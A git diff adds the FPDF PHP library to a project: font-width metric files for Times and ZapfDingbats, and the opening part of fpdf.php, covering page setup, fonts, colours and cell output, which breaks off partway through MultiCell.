chr(220)=>722,chr(221)=>722,chr(222)=>611,chr(223)=>556,chr(224)=>500,chr(225)=>500,chr(226)=>500,chr(227)=>500,chr(228)=>500,chr(229)=>500,chr(230)=>722,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>556, + chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>570,chr(248)=>500,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500); +?> diff --git a/tools/fpdf/font/timesbi.php b/tools/fpdf/font/timesbi.php new file mode 100755 index 0000000..161f630 --- /dev/null +++ b/tools/fpdf/font/timesbi.php @@ -0,0 +1,15 @@ +250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250, + chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>389,'"'=>555,'#'=>500,'$'=>500,'%'=>833,'&'=>778,'\''=>278,'('=>333,')'=>333,'*'=>500,'+'=>570, + ','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>333,';'=>333,'<'=>570,'='=>570,'>'=>570,'?'=>500,'@'=>832,'A'=>667, + 'B'=>667,'C'=>667,'D'=>722,'E'=>667,'F'=>667,'G'=>722,'H'=>778,'I'=>389,'J'=>500,'K'=>667,'L'=>611,'M'=>889,'N'=>722,'O'=>722,'P'=>611,'Q'=>722,'R'=>667,'S'=>556,'T'=>611,'U'=>722,'V'=>667,'W'=>889, + 'X'=>667,'Y'=>611,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>570,'_'=>500,'`'=>333,'a'=>500,'b'=>500,'c'=>444,'d'=>500,'e'=>444,'f'=>333,'g'=>500,'h'=>556,'i'=>278,'j'=>278,'k'=>500,'l'=>278,'m'=>778, + 'n'=>556,'o'=>500,'p'=>500,'q'=>500,'r'=>389,'s'=>389,'t'=>278,'u'=>556,'v'=>444,'w'=>667,'x'=>500,'y'=>444,'z'=>389,'{'=>348,'|'=>220,'}'=>348,'~'=>570,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500, + chr(132)=>500,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>944,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>1000, + chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>389,chr(159)=>611,chr(160)=>250,chr(161)=>389,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>220,chr(167)=>500,chr(168)=>333,chr(169)=>747,chr(170)=>266,chr(171)=>500,chr(172)=>606,chr(173)=>333,chr(174)=>747,chr(175)=>333, + chr(176)=>400,chr(177)=>570,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>576,chr(182)=>500,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>300,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>500,chr(192)=>667,chr(193)=>667,chr(194)=>667,chr(195)=>667,chr(196)=>667,chr(197)=>667, + chr(198)=>944,chr(199)=>667,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>389,chr(205)=>389,chr(206)=>389,chr(207)=>389,chr(208)=>722,chr(209)=>722,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>570,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722, + chr(220)=>722,chr(221)=>611,chr(222)=>611,chr(223)=>500,chr(224)=>500,chr(225)=>500,chr(226)=>500,chr(227)=>500,chr(228)=>500,chr(229)=>500,chr(230)=>722,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>556, + chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>570,chr(248)=>500,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>444,chr(254)=>500,chr(255)=>444); +?> diff --git a/tools/fpdf/font/timesi.php b/tools/fpdf/font/timesi.php new file mode 100755 index 0000000..de171fd --- /dev/null +++ b/tools/fpdf/font/timesi.php @@ -0,0 +1,15 @@ +250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250, + chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>420,'#'=>500,'$'=>500,'%'=>833,'&'=>778,'\''=>214,'('=>333,')'=>333,'*'=>500,'+'=>675, + ','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>333,';'=>333,'<'=>675,'='=>675,'>'=>675,'?'=>500,'@'=>920,'A'=>611, + 'B'=>611,'C'=>667,'D'=>722,'E'=>611,'F'=>611,'G'=>722,'H'=>722,'I'=>333,'J'=>444,'K'=>667,'L'=>556,'M'=>833,'N'=>667,'O'=>722,'P'=>611,'Q'=>722,'R'=>611,'S'=>500,'T'=>556,'U'=>722,'V'=>611,'W'=>833, + 'X'=>611,'Y'=>556,'Z'=>556,'['=>389,'\\'=>278,']'=>389,'^'=>422,'_'=>500,'`'=>333,'a'=>500,'b'=>500,'c'=>444,'d'=>500,'e'=>444,'f'=>278,'g'=>500,'h'=>500,'i'=>278,'j'=>278,'k'=>444,'l'=>278,'m'=>722, + 'n'=>500,'o'=>500,'p'=>500,'q'=>500,'r'=>389,'s'=>389,'t'=>278,'u'=>500,'v'=>444,'w'=>667,'x'=>444,'y'=>444,'z'=>389,'{'=>400,'|'=>275,'}'=>400,'~'=>541,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500, + chr(132)=>556,chr(133)=>889,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>500,chr(139)=>333,chr(140)=>944,chr(141)=>350,chr(142)=>556,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>556,chr(148)=>556,chr(149)=>350,chr(150)=>500,chr(151)=>889,chr(152)=>333,chr(153)=>980, + chr(154)=>389,chr(155)=>333,chr(156)=>667,chr(157)=>350,chr(158)=>389,chr(159)=>556,chr(160)=>250,chr(161)=>389,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>275,chr(167)=>500,chr(168)=>333,chr(169)=>760,chr(170)=>276,chr(171)=>500,chr(172)=>675,chr(173)=>333,chr(174)=>760,chr(175)=>333, + chr(176)=>400,chr(177)=>675,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>500,chr(182)=>523,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>310,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>500,chr(192)=>611,chr(193)=>611,chr(194)=>611,chr(195)=>611,chr(196)=>611,chr(197)=>611, + chr(198)=>889,chr(199)=>667,chr(200)=>611,chr(201)=>611,chr(202)=>611,chr(203)=>611,chr(204)=>333,chr(205)=>333,chr(206)=>333,chr(207)=>333,chr(208)=>722,chr(209)=>667,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>675,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722, + chr(220)=>722,chr(221)=>556,chr(222)=>611,chr(223)=>500,chr(224)=>500,chr(225)=>500,chr(226)=>500,chr(227)=>500,chr(228)=>500,chr(229)=>500,chr(230)=>667,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>500, + chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>675,chr(248)=>500,chr(249)=>500,chr(250)=>500,chr(251)=>500,chr(252)=>500,chr(253)=>444,chr(254)=>500,chr(255)=>444); +?> diff --git a/tools/fpdf/font/zapfdingbats.php b/tools/fpdf/font/zapfdingbats.php new file mode 100755 index 0000000..f2bdfd5 --- /dev/null +++ b/tools/fpdf/font/zapfdingbats.php @@ -0,0 +1,15 @@ +0,chr(1)=>0,chr(2)=>0,chr(3)=>0,chr(4)=>0,chr(5)=>0,chr(6)=>0,chr(7)=>0,chr(8)=>0,chr(9)=>0,chr(10)=>0,chr(11)=>0,chr(12)=>0,chr(13)=>0,chr(14)=>0,chr(15)=>0,chr(16)=>0,chr(17)=>0,chr(18)=>0,chr(19)=>0,chr(20)=>0,chr(21)=>0, + chr(22)=>0,chr(23)=>0,chr(24)=>0,chr(25)=>0,chr(26)=>0,chr(27)=>0,chr(28)=>0,chr(29)=>0,chr(30)=>0,chr(31)=>0,' '=>278,'!'=>974,'"'=>961,'#'=>974,'$'=>980,'%'=>719,'&'=>789,'\''=>790,'('=>791,')'=>690,'*'=>960,'+'=>939, + ','=>549,'-'=>855,'.'=>911,'/'=>933,'0'=>911,'1'=>945,'2'=>974,'3'=>755,'4'=>846,'5'=>762,'6'=>761,'7'=>571,'8'=>677,'9'=>763,':'=>760,';'=>759,'<'=>754,'='=>494,'>'=>552,'?'=>537,'@'=>577,'A'=>692, + 'B'=>786,'C'=>788,'D'=>788,'E'=>790,'F'=>793,'G'=>794,'H'=>816,'I'=>823,'J'=>789,'K'=>841,'L'=>823,'M'=>833,'N'=>816,'O'=>831,'P'=>923,'Q'=>744,'R'=>723,'S'=>749,'T'=>790,'U'=>792,'V'=>695,'W'=>776, + 'X'=>768,'Y'=>792,'Z'=>759,'['=>707,'\\'=>708,']'=>682,'^'=>701,'_'=>826,'`'=>815,'a'=>789,'b'=>789,'c'=>707,'d'=>687,'e'=>696,'f'=>689,'g'=>786,'h'=>787,'i'=>713,'j'=>791,'k'=>785,'l'=>791,'m'=>873, + 'n'=>761,'o'=>762,'p'=>762,'q'=>759,'r'=>759,'s'=>892,'t'=>892,'u'=>788,'v'=>784,'w'=>438,'x'=>138,'y'=>277,'z'=>415,'{'=>392,'|'=>392,'}'=>668,'~'=>668,chr(127)=>0,chr(128)=>390,chr(129)=>390,chr(130)=>317,chr(131)=>317, + chr(132)=>276,chr(133)=>276,chr(134)=>509,chr(135)=>509,chr(136)=>410,chr(137)=>410,chr(138)=>234,chr(139)=>234,chr(140)=>334,chr(141)=>334,chr(142)=>0,chr(143)=>0,chr(144)=>0,chr(145)=>0,chr(146)=>0,chr(147)=>0,chr(148)=>0,chr(149)=>0,chr(150)=>0,chr(151)=>0,chr(152)=>0,chr(153)=>0, + chr(154)=>0,chr(155)=>0,chr(156)=>0,chr(157)=>0,chr(158)=>0,chr(159)=>0,chr(160)=>0,chr(161)=>732,chr(162)=>544,chr(163)=>544,chr(164)=>910,chr(165)=>667,chr(166)=>760,chr(167)=>760,chr(168)=>776,chr(169)=>595,chr(170)=>694,chr(171)=>626,chr(172)=>788,chr(173)=>788,chr(174)=>788,chr(175)=>788, + chr(176)=>788,chr(177)=>788,chr(178)=>788,chr(179)=>788,chr(180)=>788,chr(181)=>788,chr(182)=>788,chr(183)=>788,chr(184)=>788,chr(185)=>788,chr(186)=>788,chr(187)=>788,chr(188)=>788,chr(189)=>788,chr(190)=>788,chr(191)=>788,chr(192)=>788,chr(193)=>788,chr(194)=>788,chr(195)=>788,chr(196)=>788,chr(197)=>788, + chr(198)=>788,chr(199)=>788,chr(200)=>788,chr(201)=>788,chr(202)=>788,chr(203)=>788,chr(204)=>788,chr(205)=>788,chr(206)=>788,chr(207)=>788,chr(208)=>788,chr(209)=>788,chr(210)=>788,chr(211)=>788,chr(212)=>894,chr(213)=>838,chr(214)=>1016,chr(215)=>458,chr(216)=>748,chr(217)=>924,chr(218)=>748,chr(219)=>918, + chr(220)=>927,chr(221)=>928,chr(222)=>928,chr(223)=>834,chr(224)=>873,chr(225)=>828,chr(226)=>924,chr(227)=>924,chr(228)=>917,chr(229)=>930,chr(230)=>931,chr(231)=>463,chr(232)=>883,chr(233)=>836,chr(234)=>836,chr(235)=>867,chr(236)=>867,chr(237)=>696,chr(238)=>696,chr(239)=>874,chr(240)=>0,chr(241)=>874, + chr(242)=>760,chr(243)=>946,chr(244)=>771,chr(245)=>865,chr(246)=>771,chr(247)=>888,chr(248)=>967,chr(249)=>888,chr(250)=>831,chr(251)=>873,chr(252)=>927,chr(253)=>970,chr(254)=>918,chr(255)=>0); +?> diff --git a/tools/fpdf/fpdf.php b/tools/fpdf/fpdf.php new file mode 100755 index 0000000..76495eb --- /dev/null +++ b/tools/fpdf/fpdf.php @@ -0,0 +1,1729 @@ +_dochecks(); + //Initialization of properties + $this->page=0; + $this->n=2; + $this->buffer=''; + $this->pages=array(); + $this->PageSizes=array(); + $this->state=0; + $this->fonts=array(); + $this->FontFiles=array(); + $this->diffs=array(); + $this->images=array(); + $this->links=array(); + $this->InHeader=false; + $this->InFooter=false; + $this->lasth=0; + $this->FontFamily=''; + $this->FontStyle=''; + $this->FontSizePt=12; + $this->underline=false; + $this->DrawColor='0 G'; + $this->FillColor='0 g'; + $this->TextColor='0 g'; + $this->ColorFlag=false; + $this->ws=0; + //Standard fonts + $this->CoreFonts=array('courier'=>'Courier', 'courierB'=>'Courier-Bold', 'courierI'=>'Courier-Oblique', 'courierBI'=>'Courier-BoldOblique', + 'helvetica'=>'Helvetica', 'helveticaB'=>'Helvetica-Bold', 'helveticaI'=>'Helvetica-Oblique', 'helveticaBI'=>'Helvetica-BoldOblique', + 'times'=>'Times-Roman', 'timesB'=>'Times-Bold', 'timesI'=>'Times-Italic', 'timesBI'=>'Times-BoldItalic', + 'symbol'=>'Symbol', 'zapfdingbats'=>'ZapfDingbats'); + //Scale factor + if($unit=='pt') + $this->k=1; + elseif($unit=='mm') + $this->k=72/25.4; + elseif($unit=='cm') + $this->k=72/2.54; + elseif($unit=='in') + $this->k=72; + else + $this->Error('Incorrect unit: '.$unit); + //Page format + $this->PageFormats=array('a3'=>array(841.89,1190.55), 'a4'=>array(595.28,841.89), 'a5'=>array(420.94,595.28), + 'letter'=>array(612,792), 'legal'=>array(612,1008)); + if(is_string($format)) + $format=$this->_getpageformat($format); + $this->DefPageFormat=$format; + $this->CurPageFormat=$format; + //Page orientation + $orientation=strtolower($orientation); + if($orientation=='p' || $orientation=='portrait') + { + $this->DefOrientation='P'; + $this->w=$this->DefPageFormat[0]; + $this->h=$this->DefPageFormat[1]; + } + elseif($orientation=='l' || $orientation=='landscape') + { + $this->DefOrientation='L'; + $this->w=$this->DefPageFormat[1]; + $this->h=$this->DefPageFormat[0]; + } + else + $this->Error('Incorrect orientation: '.$orientation); + $this->CurOrientation=$this->DefOrientation; + $this->wPt=$this->w*$this->k; + $this->hPt=$this->h*$this->k; + //Page margins (1 cm) + $margin=28.35/$this->k; + $this->SetMargins($margin,$margin); + //Interior cell margin (1 mm) + $this->cMargin=$margin/10; + //Line width (0.2 mm) + $this->LineWidth=.567/$this->k; + //Automatic page break + $this->SetAutoPageBreak(true,2*$margin); + //Full width display mode + $this->SetDisplayMode('fullwidth'); + //Enable compression + $this->SetCompression(true); + //Set default PDF version number + $this->PDFVersion='1.3'; +} + +function SetMargins($left, $top, $right=null) +{ + //Set left, top and right margins + $this->lMargin=$left; + $this->tMargin=$top; + if($right===null) + $right=$left; + $this->rMargin=$right; +} + +function SetLeftMargin($margin) +{ + //Set left margin + $this->lMargin=$margin; + if($this->page>0 && $this->x<$margin) + $this->x=$margin; +} + +function SetTopMargin($margin) +{ + //Set top margin + $this->tMargin=$margin; +} + +function SetRightMargin($margin) +{ + //Set right margin + $this->rMargin=$margin; +} + +function SetAutoPageBreak($auto, $margin=0) +{ + //Set auto page break mode and triggering margin + $this->AutoPageBreak=$auto; + $this->bMargin=$margin; + $this->PageBreakTrigger=$this->h-$margin; +} + +function SetDisplayMode($zoom, $layout='continuous') +{ + //Set display mode in viewer + if($zoom=='fullpage' || $zoom=='fullwidth' || $zoom=='real' || $zoom=='default' || !is_string($zoom)) + $this->ZoomMode=$zoom; + else + $this->Error('Incorrect zoom display mode: '.$zoom); + if($layout=='single' || $layout=='continuous' || $layout=='two' || $layout=='default') + $this->LayoutMode=$layout; + else + $this->Error('Incorrect layout display mode: '.$layout); +} + +function SetCompression($compress) +{ + //Set page compression + if(function_exists('gzcompress')) + $this->compress=$compress; + else + $this->compress=false; +} + +function SetTitle($title, $isUTF8=false) +{ + //Title of document + if($isUTF8) + $title=$this->_UTF8toUTF16($title); + $this->title=$title; +} + +function SetSubject($subject, $isUTF8=false) +{ + //Subject of document + if($isUTF8) + $subject=$this->_UTF8toUTF16($subject); + $this->subject=$subject; +} + +function SetAuthor($author, $isUTF8=false) +{ + //Author of document + if($isUTF8) + $author=$this->_UTF8toUTF16($author); + $this->author=$author; +} + +function SetKeywords($keywords, $isUTF8=false) +{ + //Keywords of document + if($isUTF8) + $keywords=$this->_UTF8toUTF16($keywords); + $this->keywords=$keywords; +} + +function SetCreator($creator, $isUTF8=false) +{ + //Creator of document + if($isUTF8) + $creator=$this->_UTF8toUTF16($creator); + $this->creator=$creator; +} + +function AliasNbPages($alias='{nb}') +{ + //Define an alias for total number of pages + $this->AliasNbPages=$alias; +} + +function Error($msg) +{ + //Fatal error + die('FPDF error: '.$msg); +} + +function Open() +{ + //Begin document + $this->state=1; +} + +function Close() +{ + //Terminate document + if($this->state==3) + return; + if($this->page==0) + $this->AddPage(); + //Page footer + $this->InFooter=true; + $this->Footer(); + $this->InFooter=false; + //Close page + $this->_endpage(); + //Close document + $this->_enddoc(); +} + +function AddPage($orientation='', $format='') +{ + //Start a new page + if($this->state==0) + $this->Open(); + $family=$this->FontFamily; + $style=$this->FontStyle.($this->underline ? 'U' : ''); + $size=$this->FontSizePt; + $lw=$this->LineWidth; + $dc=$this->DrawColor; + $fc=$this->FillColor; + $tc=$this->TextColor; + $cf=$this->ColorFlag; + if($this->page>0) + { + //Page footer + $this->InFooter=true; + $this->Footer(); + $this->InFooter=false; + //Close page + $this->_endpage(); + } + //Start new page + $this->_beginpage($orientation,$format); + //Set line cap style to square + $this->_out('2 J'); + //Set line width + $this->LineWidth=$lw; + $this->_out(sprintf('%.2F w',$lw*$this->k)); + //Set font + if($family) + $this->SetFont($family,$style,$size); + //Set colors + $this->DrawColor=$dc; + if($dc!='0 G') + $this->_out($dc); + $this->FillColor=$fc; + if($fc!='0 g') + $this->_out($fc); + $this->TextColor=$tc; + $this->ColorFlag=$cf; + //Page header + $this->InHeader=true; + $this->Header(); + $this->InHeader=false; + //Restore line width + if($this->LineWidth!=$lw) + { + $this->LineWidth=$lw; + $this->_out(sprintf('%.2F w',$lw*$this->k)); + } + //Restore font + if($family) + $this->SetFont($family,$style,$size); + //Restore colors + if($this->DrawColor!=$dc) + { + $this->DrawColor=$dc; + $this->_out($dc); + } + if($this->FillColor!=$fc) + { + $this->FillColor=$fc; + $this->_out($fc); + } + $this->TextColor=$tc; + $this->ColorFlag=$cf; +} + +function Header() +{ + //To be implemented in your own inherited class +} + +function Footer() +{ + //To be implemented in your own inherited class +} + +function PageNo() +{ + //Get current page number + return $this->page; +} + +function SetDrawColor($r, $g=null, $b=null) +{ + //Set color for all stroking operations + if(($r==0 && $g==0 && $b==0) || $g===null) + $this->DrawColor=sprintf('%.3F G',$r/255); + else + $this->DrawColor=sprintf('%.3F %.3F %.3F RG',$r/255,$g/255,$b/255); + if($this->page>0) + $this->_out($this->DrawColor); +} + +function SetFillColor($r, $g=null, $b=null) +{ + //Set color for all filling operations + if(($r==0 && $g==0 && $b==0) || $g===null) + $this->FillColor=sprintf('%.3F g',$r/255); + else + $this->FillColor=sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255); + $this->ColorFlag=($this->FillColor!=$this->TextColor); + if($this->page>0) + $this->_out($this->FillColor); +} + +function SetTextColor($r, $g=null, $b=null) +{ + //Set color for text + if(($r==0 && $g==0 && $b==0) || $g===null) + $this->TextColor=sprintf('%.3F g',$r/255); + else + $this->TextColor=sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255); + $this->ColorFlag=($this->FillColor!=$this->TextColor); +} + +function GetStringWidth($s) +{ + //Get width of a string in the current font + $s=(string)$s; + $cw=&$this->CurrentFont['cw']; + $w=0; + $l=strlen($s); + for($i=0;$i<$l;$i++) + $w+=$cw[$s[$i]]; + return $w*$this->FontSize/1000; +} + +function SetLineWidth($width) +{ + //Set line width + $this->LineWidth=$width; + if($this->page>0) + $this->_out(sprintf('%.2F w',$width*$this->k)); +} + +function Line($x1, $y1, $x2, $y2) +{ + //Draw a line + $this->_out(sprintf('%.2F %.2F m %.2F %.2F l S',$x1*$this->k,($this->h-$y1)*$this->k,$x2*$this->k,($this->h-$y2)*$this->k)); +} + +function Rect($x, $y, $w, $h, $style='') +{ + //Draw a rectangle + if($style=='F') + $op='f'; + elseif($style=='FD' || $style=='DF') + $op='B'; + else + $op='S'; + $this->_out(sprintf('%.2F %.2F %.2F %.2F re %s',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k,$op)); +} + +function AddFont($family, $style='', $file='') +{ + //Add a TrueType or Type1 font + $family=strtolower($family); + if($file=='') + $file=str_replace(' ','',$family).strtolower($style).'.php'; + if($family=='arial') + $family='helvetica'; + $style=strtoupper($style); + if($style=='IB') + $style='BI'; + $fontkey=$family.$style; + if(isset($this->fonts[$fontkey])) + return; + include($this->_getfontpath().$file); + if(!isset($name)) + $this->Error('Could not include font definition file'); + $i=count($this->fonts)+1; + $this->fonts[$fontkey]=array('i'=>$i, 'type'=>$type, 'name'=>$name, 'desc'=>$desc, 'up'=>$up, 'ut'=>$ut, 'cw'=>$cw, 'enc'=>$enc, 'file'=>$file); + if($diff) + { + //Search existing encodings + $d=0; + $nb=count($this->diffs); + for($i=1;$i<=$nb;$i++) + { + if($this->diffs[$i]==$diff) + { + $d=$i; + break; + } + } + if($d==0) + { + $d=$nb+1; + $this->diffs[$d]=$diff; + } + $this->fonts[$fontkey]['diff']=$d; + } + if($file) + { + if($type=='TrueType') + $this->FontFiles[$file]=array('length1'=>$originalsize); + else + $this->FontFiles[$file]=array('length1'=>$size1, 'length2'=>$size2); + } +} + +function SetFont($family, $style='', $size=0) +{ + //Select a font; size given in points + global $fpdf_charwidths; + + $family=strtolower($family); + if($family=='') + $family=$this->FontFamily; + if($family=='arial') + $family='helvetica'; + elseif($family=='symbol' || $family=='zapfdingbats') + $style=''; + $style=strtoupper($style); + if(strpos($style,'U')!==false) + { + $this->underline=true; + $style=str_replace('U','',$style); + } + else + $this->underline=false; + if($style=='IB') + $style='BI'; + if($size==0) + $size=$this->FontSizePt; + //Test if font is already selected + if($this->FontFamily==$family && $this->FontStyle==$style && $this->FontSizePt==$size) + return; + //Test if used for the first time + $fontkey=$family.$style; + if(!isset($this->fonts[$fontkey])) + { + //Check if one of the standard fonts + if(isset($this->CoreFonts[$fontkey])) + { + if(!isset($fpdf_charwidths[$fontkey])) + { + //Load metric file + $file=$family; + if($family=='times' || $family=='helvetica') + $file.=strtolower($style); + include($this->_getfontpath().$file.'.php'); + if(!isset($fpdf_charwidths[$fontkey])) + $this->Error('Could not include font metric file'); + } + $i=count($this->fonts)+1; + $name=$this->CoreFonts[$fontkey]; + $cw=$fpdf_charwidths[$fontkey]; + $this->fonts[$fontkey]=array('i'=>$i, 'type'=>'core', 'name'=>$name, 'up'=>-100, 'ut'=>50, 'cw'=>$cw); + } + else + $this->Error('Undefined font: '.$family.' '.$style); + } + //Select it + $this->FontFamily=$family; + $this->FontStyle=$style; + $this->FontSizePt=$size; + $this->FontSize=$size/$this->k; + $this->CurrentFont=&$this->fonts[$fontkey]; + if($this->page>0) + $this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt)); +} + +function SetFontSize($size) +{ + //Set font size in points + if($this->FontSizePt==$size) + return; + $this->FontSizePt=$size; + $this->FontSize=$size/$this->k; + if($this->page>0) + $this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt)); +} + +function AddLink() +{ + //Create a new internal link + $n=count($this->links)+1; + $this->links[$n]=array(0, 0); + return $n; +} + +function SetLink($link, $y=0, $page=-1) +{ + //Set destination of internal link + if($y==-1) + $y=$this->y; + if($page==-1) + $page=$this->page; + $this->links[$link]=array($page, $y); +} + +function Link($x, $y, $w, $h, $link) +{ + //Put a link on the page + $this->PageLinks[$this->page][]=array($x*$this->k, $this->hPt-$y*$this->k, $w*$this->k, $h*$this->k, $link); +} + +function Text($x, $y, $txt) +{ + //Output a string + $s=sprintf('BT %.2F %.2F Td (%s) Tj ET',$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt)); + if($this->underline && $txt!='') + $s.=' '.$this->_dounderline($x,$y,$txt); + if($this->ColorFlag) + $s='q '.$this->TextColor.' '.$s.' Q'; + $this->_out($s); +} + +function AcceptPageBreak() +{ + //Accept automatic page break or not + return $this->AutoPageBreak; +} + +function Cell($w, $h=0, $txt='', $border=0, $ln=0, $align='', $fill=false, $link='') +{ + //Output a cell + $k=$this->k; + if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak()) + { + //Automatic page break + $x=$this->x; + $ws=$this->ws; + if($ws>0) + { + $this->ws=0; + $this->_out('0 Tw'); + } + $this->AddPage($this->CurOrientation,$this->CurPageFormat); + $this->x=$x; + if($ws>0) + { + $this->ws=$ws; + $this->_out(sprintf('%.3F Tw',$ws*$k)); + } + } + if($w==0) + $w=$this->w-$this->rMargin-$this->x; + $s=''; + if($fill || $border==1) + { + if($fill) + $op=($border==1) ? 'B' : 'f'; + else + $op='S'; + $s=sprintf('%.2F %.2F %.2F %.2F re %s ',$this->x*$k,($this->h-$this->y)*$k,$w*$k,-$h*$k,$op); + } + if(is_string($border)) + { + $x=$this->x; + $y=$this->y; + if(strpos($border,'L')!==false) + $s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,$x*$k,($this->h-($y+$h))*$k); + if(strpos($border,'T')!==false) + $s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-$y)*$k); + if(strpos($border,'R')!==false) + $s.=sprintf('%.2F %.2F m %.2F %.2F l S ',($x+$w)*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-($y+$h))*$k); + if(strpos($border,'B')!==false) + $s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-($y+$h))*$k,($x+$w)*$k,($this->h-($y+$h))*$k); + } + if($txt!=='') + { + if($align=='R') + $dx=$w-$this->cMargin-$this->GetStringWidth($txt); + elseif($align=='C') + $dx=($w-$this->GetStringWidth($txt))/2; + else + $dx=$this->cMargin; + if($this->ColorFlag) + $s.='q '.$this->TextColor.' '; + $txt2=str_replace(')','\\)',str_replace('(','\\(',str_replace('\\','\\\\',$txt))); + $s.=sprintf('BT %.2F %.2F Td (%s) Tj ET',($this->x+$dx)*$k,($this->h-($this->y+.5*$h+.3*$this->FontSize))*$k,$txt2); + if($this->underline) + $s.=' '.$this->_dounderline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt); + if($this->ColorFlag) + $s.=' Q'; + if($link) + $this->Link($this->x+$dx,$this->y+.5*$h-.5*$this->FontSize,$this->GetStringWidth($txt),$this->FontSize,$link); + } + if($s) + $this->_out($s); + $this->lasth=$h; + if($ln>0) + { + //Go to next line + $this->y+=$h; + if($ln==1) + $this->x=$this->lMargin; + } + else + $this->x+=$w; +} + +function MultiCell($w, $h, $txt, $border=0, $align='J', $fill=false) +{ + //Output text with automatic or explicit line breaks + $cw=&$this->CurrentFont['cw']; + if($w==0) + $w=$this->w-$this->rMargin-$this->x; + $wmax=($w-2*$this->cMargin)*1000/$this->FontSize; + $s=str_replace("\r",'',$txt); + $nb=strlen($s); + if($nb>0 && $s[$nb-1]=="\n") + $nb--; + $b=0; + if($border) + { + if($border==1) + { + $border='LTRB'; + $b='LRT'; + $b2='LR'; + } + else + { + $b2=''; + if(strpos($border,'L')!==false) + $b2.='L'; + if(strpos($border,'R')!==false) + $b2.='R'; + $b=(strpos($border,'T')!==false) ? $b2.'T' : $b2; + } 